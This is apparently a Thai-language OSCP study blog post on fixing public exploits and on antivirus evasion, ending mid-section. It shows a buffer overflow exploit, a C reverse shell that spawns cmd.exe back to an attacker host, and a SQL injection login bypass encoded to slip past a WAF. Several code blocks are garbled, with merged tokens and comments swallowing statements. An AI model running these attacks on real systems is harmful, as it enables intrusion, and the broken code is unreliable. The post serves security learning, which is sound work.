My 2025 OSCP Journey Part 6 : Antivirus Evasion

Tuesday, March 11, 2025

Introduction

สวัสดีคุณผู้อ่านทุกท่านครับ

ยินดีต้อนรับทุกท่านกลับเข้าสู่ Blog series ของผมอีกครั้ง หลังจากที่ Part ที่แล้ว เราได้พูดถึงเรื่อง การโจมตีโดยการใช้ Public Exploit โดยครอบคลุมทั้งข้อควรระวัง เครื่องมือต่างๆทั้งแบบ Online และ Offline และความรู้พื้นฐานทั้งหมดเกี่ยวกับ Phishing

สำหรับคุณผู้อ่านท่านใดที่หลงเข้ามาใน Part นี้เป็นที่แรกและอยากจะทราบถึงเรื่องราวที่ผ่านมา ตัวผมนั้นภูมิใจและแนะนำเป็นอย่างยิ่ง ที่จะให้คุณผู้อ่านได้อ่าน Part 1 และ Part ก่อนหน้าอื่นๆก่อน เป็นการเริ่มต้น ตาที่อยู่ Link นี้เลยครับ: https://safecloud.co.th/researches/blog/My-2025-OSCP-Journey-Part-1 และ Welcome to My Journey ครับผม

ใน Part ที่ 6 นี้เราจะพูดถึงเรื่องขั้นตอนเชิงเทคนิคต่อๆไปหลังจากที่เราได้รู้จักกับการโจมตีโดยการใช้ Public Exploit เครื่องมือต่างๆทั้งแบบ Online และ Offline และความรู้พื้นฐานทั้งหมดเกี่ยวกับ Phishing ซึ่งเช่นเดิม ตัวผมนั้นยินดีเป็นอย่างยิ่งที่จะเล่าให้ฟังครับ เพื่อไม่เป็นการเสียเวลาไปมากกว่านี้ เพราะฉะนั้น Enjoy ครับ




Fixing Exploits

หลังจากที่คุณผู้อ่านได้ทราบและเข้าใจถึงเรื่องของ Public Exploit จาก Part ที่แล้วแล้วนั้น ข้อมูลเพิ่มเติม: https://safecloud.co.th/researches/blog/My-2025-OSCP-Journey-Part-5 ก็จะทราบได้ว่า หากเราต้องการที่เขียนหรือสร้าง Exploit ขึ้นมาเองนั้น เป็นเรื่องที่ซับซ้อนและกินเวลาเป็นอย่างมากและยังต้องใช้ความรู้ความเข้าใจในด้าน Memory Corruption, Network Protocols, ช่องโหว่บนเว็บแอปพลิเคชัน และอื่นๆเป็นอย่างมาก

แต่อย่างไรก็ดี ก็ต้องเข้าใจด้วยว่าในสถานการณ์จริงส่วนมากแล้ว Public Exploit นั้นมักจะไม่สามารถใช้งานได้จริงเนื่องจาก:

  • ความแตกต่างของสภาพแวดล้อมของเป้าหมาย(เวอร์ชันของ OS, รูปแบบของ Memory, และอื่นๆ)
  • ปัจจัยหรือตัวแปรที่ไม่คงที่ในการ Exploit(อาทิเช่น Socket Details, Buffer Size, Memory Offsets)
  • Payload ที่ล้าสมัยซึ่งไม่สามารถใช้เพื่อหลบหลีกระบบความปลอดภัยได้แล้ว
  • ระบบความปลอดภัยที่ทันสมัย(อาทิเช่น DEP, ASLR, WAF)

โดยที่ทางออกหรือวิธีแก้ปัญหานี้ที่ดีที่สุดนั่นคือ การแก้ Public Exploit ที่มีอยู่เพื่อให้เหมาะกับการใช้งานต่อสภาพแวดล้อม โครงสร้าง และ ระบบการป้องกันของเป้าหมาย

Fixing Memory Corruption Exploit(การแก้ Exploit เพื่อโจมตีแบบ Memory Corruption)

โดยที่เราจะเริ่มกันที่ Exploit ที่จะขัดขวางหรือก่อกวนการทำงานของหน่วยความจำหรือ Memory Corruption นั่นเอง โดยที่จุดประสงค์ของบทนี้(Fixing Memory Corruption Exploit)คือ:

  • ทำความเข้าใจทฤษฎีการทำงาน และวิธีการของ Buffer Overflow

  • วิธีการหาจุด Overflow หรือOffsets

  • วิธีการแก้ไขReturn Address, Payload,และ Buffer Sizes

  • การ Exploit แบบ Cross-Compileสำหรับโครงสร้างหรือ Architectureของเป้าหมายที่ต่างกัน

  • Understanding Buffer Overflows: เกิดอะไรขึ้นภายในหน่วยความจำ

Buffer overflow นั้นเกิดขึ้นเมื่อโปรแกรมทำการเขียนข้อมูลเข้าไปใน Buffer (ที่เก็บ Memory ที่มีขนาดจำกัด) มากกว่าที่มันควรจะเป็น ซึ่งทำให้เกิดการเขียนทับ Memory ที่อยู่ข้างเคียงหรือ Adjacent Memory ทำให้เกิดการ Corrupt ใน Return Address และอาจทำให้ผู้โจมตีสามารถสั่งการทำงานของ Code ได้

ซึ่งจากเหตุข้างต้น เราสามารถจำแนกปัญหาที่ทำให้เกิด Buffer Overflows ได้ 3 อย่าง:

  • Lack of bound checking: ฟังก์ชันอย่าง strcpy() และ gets() นั้นไม่จำกัดขนาดของ Input
  • Stack memory structure: ถ้าผู้โจมตีทำการเขียนทับ Return Address ได้ผู้โจมตีจะสามารถสั่งการทำงานของ Code ได้
  • Absence of modern security mitigations: ถ้าโปรแกรมไม่มีการป้องกันอย่าง ASLR(Address Space Layout Randomization) หรือ DEP (Data Execution Prevention) จะเป็นการง่ายอย่างมากที่ผู้โจมตีจะทำการโจมตี

ตัวอย่าง Code ภาษา C ที่มีช่องโหว่:

#include<stdio.h>  
#include<string.h>  
  
void vulnerable_function(char*input){ 
	charbuffer[64]; // buffer ที่มีขนาดจำกัด strcpy(buffer, input); // Line6, ไม่มีการตรวจสอบ bound printf("Hello, %s\\n", buffer);  
}  
  
int main(intargc, char*argv[]){
	if(argc < 2) {   
		printf("Usage: %s <input>\n", argv[0]);
		return 1;  
	}  
	vulnerable_function(argv[1]);
	return 0;  
}

Codeblock 1: ตัวอย่าง Code ภาษา C ที่มีช่องโหว่ Buffer Overflow

Code นี้มีปัญหาอย่างไร?:

  • Line 6 มีการเรียกใช้ฟังก์ชัน strcpy() โดยที่ไม่มีการตรวจสอบขนาดของ Input
  • หากผู้โจมตีใส่ Input มากกว่า 64 bytes ผู้โจมตีสามารถที่จะเขียนทับ Memory ข้างเคียงได้
  • Return Address อาจถูกแทนที่ด้วย Shellcode วิธีการแก้ไข:
  • ทำการแทนที่ strcpy(buffer, input) ด้วย strncpy(buffer, input, sizeof(buffer) -1); //เป็นการจำกัดขนาด Input นั่นเอง

Import and Examining the Exploit

หลังจากที่เราเข้าใจถึงการทำงานคราวๆของ Buffer Overflow แล้วนั้นก็มาขั้นถัดไป ก่อนที่เราจะทำการแก้ Exploit นั้นเราจำเป็นที่จะต้องเข้าใจถึงโครงสร้างและขั้นตอนการทำงานของ Exploit นั้นๆก่อน

ตัวอย่างการตรวจสอบ Exploit:

import socket  
  
target_ip = "192.168.1.100"
target_port = 9999
payload = b"A"* 1024 # ทำการส่ง character "A"1024 characters

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  
s.connect((target_ip, target_port))  
s.send(payload)  
s.close()

Codeblock 2.1: ตัวอย่าง Public Buffer Overflow Exploit

Code นี้มีปัญหาอย่างไร?:

  • ขนาดของ Buffer(1024 bytes) อาจไม่เข้ากับเงื่อนไขของเป้าหมายที่จะทำการเจาะ
  • ไม่มี Return Address ทำให้ Exploit ไม่สามารถใช้งานได้
  • หากระบบของเป้าหมายเปิดการใช้งาน ASLR(Address Space Layout Randomization) Return Address อาจจำเป็นต้องทำงานแบบ Dynamic วิธีการแก้ไข:
  • หาค่า Offsetที่ถูกต้อง

หนึ่งในวิธีการที่จะหาขนาดของ Buffer เพื่อให้เกิดการเขียนทับ Return Addressได้นั้น เราสามารถสร้างรูปแบบที่เป็นเอกลักษณ์หรือ Unique Patternโดยใช้เครื่องมือmsf-pattern_createและระบุตำแหน่งOffset โดยใช้ msf-pattern_offset

Generate a Unique Pattern

  • แทนที่เราจะทำการส่ง Character “A” ไป เราเลือกที่จะส่ง Characterที่เป็น Unique Patternที่ระบุขนาด(1024) เพื่อหาตำแหน่ง Return Address ที่ถูกเขียนทับ
kali@kali:~$ msf-pattern_create -l 1024
//Output: Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4...(Length:1024)
  • ทำการแทนที่ Payload ด้วย Pattern ใน Codeblock 2.1
import socket  
  
target_ip = "192.168.1.100"
target_port = 9999
pattern = b"Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4..." # Generated pattern  
  
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  
s.connect((target_ip, target_port))  
s.send(pattern)  
s.close()

Codeblock 2.2: ตัวอย่าง Public Buffer Overflow Exploit ที่ถูกแทนที่ Payload

  • ระบุ Offset
  • หลังจากสั่งการทำงาน Code ข้างต้น Exploit ทำให้แอปพลิเคชัน Crash หรือทำงานผิดปกติ ขั้นต่อไปคือทำการหาค่า Return Address ที่ถูกเขียนทับ(EIP)ผ่านเครื่องมือ Debuggerต่างๆ(อาทิเช่น gdb, radare2 หรือ Immunity Debugger)

(ข้อมูลเพิ่มเติม: EIP หรือ Extended Instruction Pointer คือ Register ที่ไว้ใช้ระบุค่า Memory Address หรือตำแหน่งของ Instruction ต่อไปที่ต้องทำงาน)

Figure 1: ตัวอย่างค่า EIP

โดยในสถานการณ์ตัวอย่างนี้เราจะยกตัวอย่างค่าเป็น:

eip 0x39654138 0x39654138 //EIP = 39654138

และเมื่อได้ค่าEIPมา ทำการใช้ msf-pattern_offset เพื่อหา Offsetที่ถูกต้อง:

kali@kali:~$ msf-pattern_offset -q 39654138 -l 1024

โดยที่คำสั่งจะทำการหาและคืนค่า Offsetมาให้:

[+] Exact match at offset 524

จาก Output ทำให้เราทราบได้ว่า Return Addressนั้นถูกเขียนทับที่ตำแหน่ง Offset 524

  • แก้ Exploit
  • โดยเราจะทำการแก้ Exploit ให้:
    • ส่ง Character “A” 524 Charactersเพื่อเติม Bufferให้เต็ม
    • เขียนทับ Return Addressด้วย Controlled Value
    • แนบ Shellcode เพื่อสั่งการทำงานคำสั่งบนเครื่องของเป้าหมาย
import socket  
  
target_ip = "192.168.1.100"
target_port = 9999
offset = 524
junk = b"A"* offset  
return_address = b"\\xB0\\x12\\x50\\x62" # ตัวอย่าง return address (ซึ่งสามารถหาได้โดยใช้ ROP gadgets หรือ \`!mona find -r esp\`)
nop_sled = b"\\x90"* 16 # ใช้ Small NOP sled เพื่อป้องกันการ crashes
shellcode = b"\\xcc"* 50 # ตัวอย่าง shellcode (breakpoint ใน debugger)

payload = junk + return_address + nop_sled + shellcode # โครงสร้างใหม่ของ payload  
  
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  
s.connect((target_ip, target_port))  
s.send(payload)  
s.close()

Codeblock 2.3: ตัวอย่าง Public Buffer Overflow Exploit ที่ถูกแก้ พร้อมใช้งาน

โดยที่ขั้นตอนดังกล่าวทำให้ Public Buffer Overflow Exploit ใช้งานได้กับเงื่อนไขของเป้าหมายที่เราต้องการโดยมุ่งเน้นไปที่การสั่งงานคำสั่งหรือ Code โดยไม่ได้รับอนุญาต

Cross-Compiling Exploit Code

นอกจากการแก้ค่าภายใน Exploit ให้เข้ากับเงื่อนไขของเป้าหมายเราแล้วนั้น ในการทดสอบการเจาะระบบนั้นการเขียนหรือแก้Exploit ที่สามารถใช้งานได้กับ Operating Systemนึงอาจไม่ได้หมายความว่า Exploit นั้นสามารถใช้งานได้กับทุก Operating Systemซึ่งทำให้เกิดปัญหาอาทิเช่น:

  • Public Exploits หลายๆอันนั้นถูกสร้างขึ้นมาเพื่อระบบปฏิบัติการ Linux หรือLinux OS แต่ว่าสภาพแวดล้อมหรือปัจจัยต่างๆอาทิเช่น ระบบ หรือ APIs ของ Windows OSนั้นอาจไม่เหมือนกัน
  • อุปกรณ์ IoT, Routers, และระบบ Embedded นั้นมักถูกใช้งานใน Architecture อย่าง ARMหรือ MIPSซึ่งทำให้ ไฟล์ x86 Binary นั้นใช้งานไม่ได้
  • บางกรณีในการ Exploit เป้าหมายนั้นต้องการรูปแบบการ Compile ที่สามารถหลบหลีกระบบความปลอดภัยในระดับ OS-Level

ด้วยเหตุเหล่านี้จึงทำให้การ Cross-Compiling นั้นจำเป็น แทนที่จะทำการสร้างและ Compile Exploit เพื่อเป้าหมายโดยเฉพาะ เราสามารถประหยัดเวลาและทรัพยากรได้โดยการใช้ Cross-Compiler เพื่อ Compile ไฟล์ Binary เพื่อให้เข้ากับเงื่อนไขของเป้าหมายนั้นๆได้(อาทิเช่นการ Compile ไฟล์ Executable สำหรับ Windows OS จาก เครื่องที่ใช้ Linux OS)

และยังมีเหตุจำเป็นอื่นที่พบได้บ่อยอย่าง:

  • Exploit ที่ถูกเขียนขึ้นสำหรับ Linux OS นั้นมักจำเป็นต้องถูก Portไปยังเป้าหมายที่เป็น Windows OSอยู่บ่อยครั้ง
  • Windows Binariesนั้นต้องการการเรียกฟังก์ชัน WinAPIซึ่งไม่สามารถทำได้จาก Linux-Native Binariesนั่นเอง

โดยหลังจากที่เราได้ทราบและเข้าใจถึงความสำคัญและจำเป็นของ Cross-Compiling แล้วนั้น ในเนื้อหาส่วนนี้เราจะเรียนรู้และใช้เครื่องมือ Compiler ที่ได้รับความนิยมอย่างมากนั่นคือ mingw-w64 เนื่องด้วย MinGW-w64 นั้นสามารถ Cross-Compiling Windows Binaries จาก Linuxได้นั่นเอง

เริ่มจากขั้นแรก เนื่องด้วย Kali Linux นั้นไม่ได้มีเครื่องมือนี้โดยพื้นฐานจึงจำเป็นอย่างยิ่งในการ Install เครื่องมือหรือ Compiler นี้ก่อน:

kali@kali:~$ sudo apt install mingw-w64
  • ตัวอย่างการใช้ MinGW-w64 ในการ Cross-Compile Exploit สำหรับ Windows OS

เพื่อการ Cross-Compile ให้ได้ Exploit ที่ใช้ได้กับ Windows จากเครื่องที่ทำงานโดยLinux OSนั้นเราสามารถใช้MinGW-w64 ซึ่งมีฟังก์ชันi686-w64-mingw32-gcc(สำหรับ 32-bit) และ x86_64-w64-mingw32-gcc(สำหรับ 64-bit)

โดยที่ผมจะยกตัวอย่างสถานการณ์ขึ้นมาว่า ตอนนีัเรามี Exploit ภาษา Cที่มีไว้เพื่อสร้าง Reverse shell ที่จะเชื่อมต่อกลับมาหาเครื่องของผู้โจมตี:

#include<stdio.h>  
#include<winsock2.h>  
  
#pragmacomment(lib,"ws2_32.lib") // Link กับ ws2_32.lib  
  
#defineTARGET_IP "192.168.1.100"  
#defineTARGET_PORT 4444  
  
void reverse_shell(){  
	WSADATA wsa;  
	SOCKET s; structsockaddr_inserver;
	char*cmd = "cmd.exe";  
 
	WSAStartup(MAKEWORD(2, 2), &wsa);  
	s = WSASocket(AF_INET, SOCK_STREAM, 0, NULL, 0, 0); // Line 16 server.sin_family = AF_INET;  
	server.sin_port = htons(TARGET_PORT);  
	server.sin_addr.s_addr = inet_addr(TARGET_IP); 
	if(connect(s, (struct sockaddr *)&server, sizeof(server)) == 0) { // Line 21   STARTUPINFO si = {0};  
		PROCESS_INFORMATION pi = {0};  
		si.cb = sizeof(si);  
		si.dwFlags = STARTF_USESTDHANDLES;  
		si.hStdInput = (HANDLE)s;  
		si.hStdOutput = (HANDLE)s;  
		si.hStdError = (HANDLE)s;  
		CreateProcess(NULL, cmd, NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi);  
	}  
  
	WSACleanup();  
}  
  
int main(){  
	reverse_shell();
	return 0;  
}

Codeblock 3: ตัวอย่าง Exploit Reverse Shell ภาษา C

คำอธิบาย Exploit:

  • สร้าง Reverse Shell จากเป้าหมาย
  • ใช้ WSASocket(Line 16) และ connect(Line 21) เพื่อเชื่อมต่อกลับมาหาเครื่องของผู้โจมตี(IP:192.16.1.100:4444[Port])
  • เปิดcmd.exeและ Redirect Input/Outputไปยังการควบคุมของผู้โจมตี

Compiling the Exploit for Windows

และเมื่อเรามี Exploit แล้ว ขั้นต่อไปคือการ Cross-Compile Exploit นี้จากเครื่อง Linux ให้เป็น Binary ที่ใช้งานได้กับ Windows หรือ Windows-compatible executable โดยการใช้ i686-w64-mingw32-gcc(สำหรับ 32-bit Windows binaries) และ x86_64-w64-mingw32-gcc(สำหรับ 64-bit Windows binaries)

  • 32-bit Windows Binary Compatible
kali@kali:~$ i686-w64-mingw32-gcc-o exploit.exe exploit.c -lws2_32
  • 64-bit Windows Binary Compatible
kali@kali:~$ x86_64-w64-mingw32-gcc-o exploit.exe exploit.c -lws2_32

คำอธิบายคำสั่ง:

  • -o exploit.exe => ตั้งชื่อไฟล์ Output
  • exploit.c => ไฟล์ Exploit
  • -lws2_32 => เชื่อมต่อกับ Windows Sockets Library(ws2_32.lib)ซึ่งต้องการฟังก์ชัน Network(WSASocket, connect)

ตรวจสอบไฟล์

โดยที่เราสามารถตรวจสอบไฟล์ Binary ได้ว่าเป็นไฟล์สำหรับ Architecture อะไรโดยคำสั่ง:

kali@kali:~$ file exploit.exe

ผลของคำสั่ง:

exploit.exe: PE32 executable(console) Intel 80386, for MS Windows

จากผลเรายืนยันได้ว่าไฟล์ที่ Compile ออกมานี้เป็น Windows Portable Executable(PE)

Changing the Overflow Buffer

ซึ่งในบางกรณีเราอาจจำเป็นที่จะต้องแก้หรือเปลี่ยนโครงสร้างของ Bufferเนื่องจาก:

  • บาง Exploit ต้องการเทคนิค NOP sleds (\x90\x90\x90) เพื่อ Execution
  • Encoded Shellcode หรือ Shellcode ที่เข้ารหัสอาจต้องการการแก้พิเศษ
  • ระบบของเป้าหมายอาจใช้ Layoutรูปแบบ หรือโครงสร้าง ของMemoryที่ต่างออกไป

ตัวอย่างการแก้ Buffer ที่ใช้เทคนิค NOP sleds:

payload = b"\\x90"* 16 # NOP sled
payload += b"A"* offset  
payload += b"\\xB0\\x10\\xA4\\x68" # return address ใหม่
payload += shellcode # shellcode ที่เป็นอันตราย

ทำไมถึงใช้ NOP sleds?:

  • NOP sleds นั้นทำให้มั่นใจได้ว่าการ Execute จะเกิดขึ้นในตำแหน่งที่ถูกต้องก่อนที่ Shellcode จะทำงาน

(เพิ่มเติม: NOP sledsเป็นการแทรกNOP(\x90)ไว้ที่จุดเริ่มต้นของส่วน Codeที่ต้องการโจมตีและแทรกShellcode ไว้ด้านหลัง NOPเพื่อกำหนดตำแหน่ง Execute ที่ต้องการ)




Fixing Web Exploit(การแก้ Exploit เพื่อโจมตีบนเว็บ)

นอกจากการแก้ Exploitเพื่อทำการโจมตีแบบ Memory Corruptionแล้วนั้นยังมีการแก้ Exploit เพื่อโจมตีบนเว็บอีกด้วย โดยที่จุดประสงค์ของบทนี้คือ:

  • ทำความเข้าใจการทำงานของเว็บ Exploitและวิธีการแก้
  • การแก้ไขปัญหาที่พบได้บ่อยใน Exploit เว็บแอปพลิเคชัน

Considerations and Overview

ก่อนที่เราจะทำการแก้เว็บ Exploit นั้น มีหลายๆปัจจัยที่ต้องคำนึงถึง:

  • ประเภทการเชื่อมต่อ:

    • การเชื่อมต่อนั้นเป็นHTTPหรือHTTPS?
    • การSelf-signed Certificateนั้นจะก่อปัญหาหรือไม่?
  • Path และ Authentication หรือระบบการยืนยันสิทธิ์การเข้าถึงของเป้าหมาย:

    • Exploit ที่เลือกใช้นั้นทำงานก่อนการยืนยันสิทธิ์การเข้าถึงหรือไม่?
    • แล้วถ้าระบบต้องการยืนยันสิทธิ์การเข้าถึง Exploit จะรับมืออย่างไร?
  • ประเภทและ Header ของ Request:

    • Exploit ทำงานผ่านRequest ประเภท GET, POST,หรือ ประเภทอื่นๆ?
    • เว็บเซิร์ฟเวอร์นั้นต้องการ Custom Header หรือไม่?

Selecting the Vulnerability and Fixing the Code

โดยผมขอยกตัวอย่างสถานการณ์ขึ้นมาเพื่อให้เห็นภาพมากยิ่งขึ้น:

โดยที่ในสถานการณ์นี้นั้นเรามี Public SQL injection Exploit แต่ไม่สามารถใช้งานได้เนื่องจากติดปัญหาที่เกิดจาก Web Application Firewall(WAF)

ปัญหาที่พบ:

  • Exploit ที่มีใช้ SQL injection syntax แบบมาตรฐานจึงทำให้WAF ตรวจจับเจอ
  • เว็บแอปพลิเคชันมีระบบการป้องกัน CSRF

ทำการแก้ Exploit:

  • ทำการเข้ารหัส Payload(Encode)เพื่อหลบหลีกการตรวจจับจาก WAF
  • แก้ Header ของ Request ให้มี Session Tokensที่ใช้งานได้

ตัวอย่าง Web Exploit ที่ถูกแก้:

import requests
import urllib.parse  
  
target_url = "http://192.168.1.100/admin"  
payload = {"username": "admin", "password": urllib.parse.quote("' OR 1=1 --")}  
  
session = requests.Session()  
session.headers.update({"User-Agent": "Mozilla/5.0", "Referer": target_url})  
response = session.post(target_url, data=payload)  
  
print(response.text)

Codeblock 4.1: ตัวอย่าง Web Exploit ที่ถูกปรับ Payload และ Session Token

Troubleshooting the “Index out of range” Error

และหลังจากที่เราทำการแก้ Exploit และใช้งานเราได้รับข้อความแจ้งเตือนความผิดปกติหรือ Errorว่า “Index out of range” จากการตอบกลับจากเซิร์ฟเวอร์

  • สาเหตุที่เป็นไปได้ที่ทำให้เกิด Error:

    • Exploit ไม่สามารถ Handle รูปแบบของ Response จากเป้าหมายได้
    • แอปพลิเคชันใช้ชื่อ Field ไม่เหมือนกับใน JSON response
  • ทำการแก้ Exploitอีกครั้ง:

    • ทำการตรวจสอบโครงสร้าง รูปแบบของ Response ก่อนใช้งาน
    • ใช้ Error Handling เพื่อป้องการการ Crash หรือการทำงานล้มเหลวของระบบ

ตัวอย่าง Web Exploit ที่ถูกแก้อีกครั้ง:

import requests  
  
response = requests.get("http://192.168.1.100/api")  
  
try:  
	json_data = response.json()  
	print(json_data["user"]["id"])  
except KeyError:  
	print("Error: Response format has changed.")

Codeblock 4.2: ตัวอย่าง Web Exploit ที่เพิ่ม Error Handling




Antivirus Evasion

Antivirus (AV) นับได้ว่าเป็นทางออกที่ถูกออกแบบมาเพื่อ ตรวจจับป้องกันและทำลายซอฟต์แวร์ที่เป็นอันตรายจากคอมพิวเตอร์และเครือข่ายแต่อย่างไรก็ดี ผู้โจมตียังคงคอยพัฒนาและคิดวิธีหรือหนทางใหม่ๆในการหลบหลีกระบบความปลอดภัยต่างๆ

และในมุมมองของนักทดสอบการเจาะระบบนั้น นับเป็นเรื่องที่สำคัญอย่างยิ่งที่จะต้องเข้าใจถึงการทำงานของซอฟต์แวร์ Antivirus อย่างทะลุปลุโปร่ง และรวมถึงการเข้าใจในวิธีการและเทคนิคต่างๆในการหลบหลีกระบบความปลอดภัยของผู้โจมตี ซึ่งจะทำให้เรานั้นสามารถ:

  • จำลองการโจมตีได้เหมือนกับผู้โจมตีจริงๆเพื่อประเมินระบบความมั่งคงปลอดภัยขององค์กร
  • ช่วยองค์กรพัฒนาระดับความปลอดภัยขององค์กรนั้นๆเพื่อพร้อมที่จะรับมือกับเทคนิคการหลบหลีก AV ใหม่ๆตลอดเวลา
  • เข้าใจถึงวิธีการตรวจจับ Threat ต่างๆในเชิงลึก (Signature-Based, Heuristic, Behavioral, และ Machine-Learning-Based)

(เพิ่มเติม: คำว่าThreatในบริบทนี้นั้นหมายถึงภัยคุกคามต่างๆอาทิเช่น Virus, Malware, และอื่นๆ)

โดยที่ในบทนี้เราจะมาทำความเข้าใจในเรื่อง:

  • Antivirus Software ทำการตรวจจับ Threat ได้อย่างไร?
  • ผู้โจมตีทำการหลบหลีก Antivirus Detection อย่างไร?

Antivirus Software Key Components and Operations(วิธีการทำงานและส่วนประกอบของ Antivirus)

หลังจากที่เราได้ทราบถึงว่า Antivirus หรือ AVคืออะไรไปแบบคร่าวๆแล้วนั้น ต่อไปเราจะเริ่มทำการเจาะลึกลงไปถึงวิธีการทำงานและส่วนประกอบต่างๆของ Antivirus

Known vs Unknown Threats

โดยเราจะเริ่มกันที่ Known และ Unknown Threat หรือ Threat ที่รู้จักและไม่รู้จัก เนื่องด้วยโดยปกติแล้วซอฟต์แวร์ Antivirus นั้นจะทำการจำแนกประเภทของ Threat ออกเป็น 2 ประเภทคือ Known และ Unknownซึ่งจะขึ้นอยู่กับวิธีการตรวจจับที่ใช้

  • Known Threats (Signature-Based Detection)
    • Threat ที่รู้จักอยู่แล้วนั้นคือ Malware หรือ Threat ต่างๆที่มีการค้นพบเป็นที่เรียบร้อยและมีการเก็บข้อมูลของ Threat นั้นๆไว้ใน Antivirus Databaseไว้ในรูปแบบ Signature ของ Threat นั้นๆ
    • โดยที่เมื่อมีการสแกนไฟล์โดย Antivirus นั้นตัว Antivirus จะทำการเทียบ Signatureของไฟล์นั้นๆกับ Signature ของ Threat ที่อยู่ใน Database
    • ซึ่ง Signature นั้นจะมีทั้งที่อยู่ในรูปแบบของ SHA256 Hashesของไฟล์, โครงสร้างของไฟล์, และ ลำดับหรือรูปแบบของ Byteของไฟล์นั่นเอง
    • และเราสามารถทำการตรวจสอบไฟล์แบบ Known Threatด้วย Signature เองได้ผ่าน VirusTotal ตัวอย่าง:
kali@kali:~$ sha256 sumnot_malware.exe
// Mock-up Output
>e99a18c428cb38d5f260853678922e03abcd1234f9a7de7a5bdf1d7c9cfd2372
// sha256 Hashes หรือ Signature ของ not_malware.exe

ซึ่งเราสามารถนำ Signature นี้ไปค้นหาใน Database ของ Virustotal ได้นั่นเอง ซึ่งนอกจาก Signature แล้วเรายังสามารถอัปโหลดไฟล์ไปยัง VirusTotalเพื่อทำการตรวจสอบได้อีกด้วย

Figure 2.1: https://www.virustotal.com/gui/home/upload

และเมื่อนำ Signature ไปค้นหาใน VirusTotal หากไม่พบหน้าเว็บจะโชว์ผลดั่ง Figure 2.2:

Figure 2.2: เมื่อไม่พบ Signature ใน VirusTotal

แต่หากพบ Signature ที่ตรงกัน VirusTotal จะโชว์ข้อมูลของ Threat นั้นๆอาทิเช่นประเภทไฟล์ ขนาด Security Vendor’s analysis และ อื่นๆ

Figure 2.3: เมื่อพบ Signature ใน VirusTotal

  • Unknown Threats(Heuristic and Behavioral Detection)

    • Antivirus นั้นอาจใช้การวิเคราะห์ Heuristicและพฤติกรรมหรือ Behaviorของไฟล์เพื่อการตรวจจับ Threat ที่ไม่มี Signature อยู่ใน Database
    • โดยที่ Heuristic และ Behavior ของไฟล์นั้นอาจตรวจพบได้ผ่าน Algorithmของไฟล์นั้นๆ การขอสิทธิ์การเข้าถึงระบบไฟล์ มีการขอสิทธิ์การตอบโต้กับ Windows APIsหรือ พฤติกรรมที่ดูน่าส่งสัยไฟล์เหล่านั้นอาจถูกมองว่าเป็น Threat โดย Antivirus ทันที
    • นอกจากนั้น การจัดการกับ Threat ที่ไม่รู้จักในสมัยใหม่ของ Windows Defender และ EDR(Endpoint Detection and Response)นั้นใช้ Machine Learning(ML) Model ในการตรวจสอบพฤติกรรมที่ผิดปกติอีกด้วย
  • ผู้โจมตีหลบหลีกการตรวจจับได้อย่างไร?

    • ทำการปิดบัง Payloadด้วย Packerหรือ Encryption
    • ใช้เทคนิคIndirect Executionหรือสั่งการทำงานทางอ้อมเพื่อหลบหลีกการตรวจจับจากพฤติกรรม
    • แก้ Metadataของไฟล์เพื่อหลบหลีกการตรวจจับจากHash-based

AV Engines and Component

หลังจากที่เราทราบถึงประเภทและการรับมือกับ Threat พอสังเขปกันแล้ว ต่อมาเป็นการเรียนรู้ถึงองค์ประกอบสำคัญของ Antivirus ซึ่งประกอบไปด้วยหลายส่วนด้วยกัน

ส่วนประกอบฟังก์ชั่น
File Engineสแกนไฟล์ภายใน Disk เพื่อหา Known Threat Signature/Mini-Filter Driver
Memory EngineMonitors Processes เพื่อเฝ้าระวังการ Execute Malware ภายใน Memory
Network Engineตรวจสอบ Network Traffic เพื่อหาการกระทำที่อาจเป็นอันตราย/ C2
Disassemblerวิเคราะห์ Binary Code เพื่อตรวจจับการปกปิด Payload
Emulator/Sandboxทำการ Run ไฟล์ต้องสงสัยในพื้นที่ที่ถูกควบคุมและปลอดภัยและถูกแยกออกจากระบบหลักเพื่อวิเคราะห์พฤติกรรมของไฟล์ที่อาจเป็นอันตราย
Browser Pluginตรวจจับสคริปต์ที่อาจเป็นอันตรายบนเว็บเพจ
Machine Learning Engineใช้ AI / ML Model ให้การตรวจหา Threat
  • Mini-Filter Driver:

    • โดยในส่วนของ File Engineนั้นจะมีสิ่งที่เรียกว่า Mini-Filter Driverซึ่งเป็นส่วนประกอบของ Windows kernelที่จะคอยดักจับไฟล์ในระบบเพื่อทำการสแกนไฟล์นั้นๆก่อนจะมีการเปิดใช้งานไฟล์นั้นอีกด้วย
  • Command and Control (C2) Detection:

    • ภายในส่วนของ Network Engineนั้น AVมีการเฝ้าระวังหรือ Monitor Network Trafficเพื่อตรวจจับการสื่อสารแบบ C2ที่ถูกใช้ในการทำRemote Malwareและ RATs(Remote Access Trojans) อีกด้วย
    • นอกจากนั้นยังมี Firewall Rule,Network Logs, และ SIEM(Security Information and Event Management) ซึ่งค่อยตรวจจับ Trafficที่ต้องสงสัยอีกด้วย

Detection Methods

โดยจากเนื้อหาข้างต้นคุณผู้อ่านน่าจะพอทราบถึงวิธีการตรวจจับมาแล้วบ้าง ซึ่งในเนื้อหาส่วนนี้จะเหมือนเป็นการสรุปออกมาอีกทีเพื่อให้เข้าใจได้ง่ายขึ้นถึงวิธีการตรวจจับต่างๆของ Antivirus

วิธีการคำอธิบาย
Signature-Based Detectionทำการเปรียบเทียบ Hash หรือ Signature ของไฟล์กับ Database ที่เก็บข้อมูล Threat ที่รู้จัก
Heuristic-Based Detectionใช้การวิเคราะห์เชิงเดี่ยวเพื่อตรวจหารูปแบบ หรือ Code Pattern ที่ถูกใช้เป็นปกติในไฟล์ Threat
Behavioral DetectionMonitor หรือเฝ้าระวังการทำงานของไฟล์แบบ Real-time เพื่อตรวจจับหาพฤติกรรมที่ต้องสงสัย
Machine Learning Detectionใช้ AI หรือ ML ในการตรวจจับหา Threat โดยที่ทำการ Train Model จาก Threat ในอดีตที่เคยพบมาแล้ว(โดยใช้หลายๆปัจจัยมากกว่า Signature, Metadata, พฤติกรรม และอื่นๆ)
  • ตัวอย่าง Behavioral Detection โดย Windows Defender:

